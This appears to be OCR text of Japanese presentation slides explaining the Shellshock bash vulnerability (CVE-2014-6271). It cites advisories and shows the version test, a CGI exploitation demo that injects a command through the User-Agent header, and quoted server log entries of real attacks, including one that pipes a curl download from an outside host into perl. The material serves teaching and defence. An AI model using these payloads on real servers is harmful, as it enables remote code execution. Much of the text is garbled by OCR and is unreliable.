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CVE-2014-6271 : 2014/Sep/24 EST.

« GNU Bash 4.38LUZFNLIRICEEL TLWAHETEH (aka
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« US-CERT/NIST®National Vulnerability Database® &
- Vulnerability Summary for CVE-2014-6271
- Original release date: 09/24/2014
 http://web.nvd.nist.gov/view/vuln/detail?vulnld=CVE-2014-6271
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- JPCERT-AT-2014-0037
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 https://www.jpcert.or.jp/at/2014/at140037.html
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« Korn Shell (1983)

- Bourne Shell%7%!
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- C Shell51
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$ 1s -1i /bin/dash /bin/bash
1807282 -rwxr-xr-x 1 root root 986672 10A 8 04:23 /bin/bash
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GNU Bashifz 55"

$ bash --version
GNU bash, version 4.3.0(1l)-release (xX86_ 64-unknown-linux-gnu)
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S env 'x=() { :;}; echo CVE-2014-6271' bash -c "echo TEST"
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S env 'x=() { :;}; echo CVE-2014-6271' bash -c "echo TEST"
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bash -c "echo TEST"

$ env 'x=() { :

CVE-2014-6271
TEST
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;}; echo CVE-2014-6271"
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CGil: hello.cgi

#! /bin/bash

echo 'Content-type: text/html’

echo

echo

echo

echo '<!DOCTYPE HTMI. PUBLIC "-//IETF//DTD HTML
2.0//EN">"

echo '<HTML><HEAD><TITLE>HELLO</TITLE></HEAD>'
echo '<BODY><P>HELLO</P></BODY></HTML>"
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S wget -q -0 - http://bashtest/cgi-bin/hello.cgi

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD><TITLE>HELLO</TITLE></HEAD>
<BODY><P>HELLO</P></BODY></HTML>
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S wget -q -O - --user-agent='() { :;}; echo
Content-type:text/plain; echo ; /bin/ps ux
http://bashtest/cgi-bin/hello.cgi

echo Content-type:text/plain
echo
/bin/ps ux
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bin/hello.
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PID
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RSS
2264
3264
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STAT START
S 02:38
Sl 02:38
Sl 02:38
S 02:58
R 02:58

TIME
0:00
0:00
0:00
0:00

COMMAND

/usr/sbin/apache2 -k start
/usr/sbin/apache2 -k start
/usr/sbin/apache2 -k start
/bin/bash /usr/lib/cgi-

/bin/ps ux




www-datat& R CTENE

o apacheld&x D 7O R Froot TENL A IEwww-datasLyD
21— HEBRTENF

- T4AMN)Ea—avil&oTldapachee W) 1 —HAERALT
WoizatHhd

e d1—Hwww-dataDHER TEEDIT Y RHNEITTES
- SEIps uxE=E1TL7

- WebHY—/\ETa—www-datah’ 7oA TIBEED 7714
JVIZTRTHEINS TV EZRAREETHS




Web7Z 7)) o—oauhBRh 7012295
F—INR—Z|E>TIE P EY

o ZLDIZGE WebT7 TV r—o a3y RN T —IR—2AREITIEZART
HRIE ERET7AIVICT —IR—ZAD/INAT—RHBEMHN TS

. %0)77’()1/Latapache7b‘;io">ki7ﬁ&b7‘otHTLLJQ‘\,\H@IL\O)’C“é’|,5?\?7275“'5
CDHETETVERATREELRD

o AEHASDHETWeb7 T )r—avDFE>TWET—IR—2|C
TPIOBATIEEZEICRS

- Web7 7)) r—2aveEREFOIENHNIHOISIRIERTREE 1D

2 HER~ DR




ERODONE: WebH—/N\—0O7

[Mon Oct 20 15:23:15 2014] [error] [client 65.111.XXX.XX] script
not found or unable to stat: /usr/lib/cgi-bin/hello.sh,

referer: () { ; } > [$S($())] { /usr/bin/env ping -c9 127.0.0.1;
}

[Thu Oct 23 13:24:17 2014] [error] [client 69.64.xxX.XX] script
not found or unable to stat: /usr/lib/cgi-bin/add ftp.cgi,

referer: () { :; }; curl http://202.143.xxx.xxx/1lib21/index.cgi
| perl
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« Dynamic Host Configuration Protocol (DHCP)
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- CVE-2014-6271, CVE-2014-7169, CVE-2014-62/8
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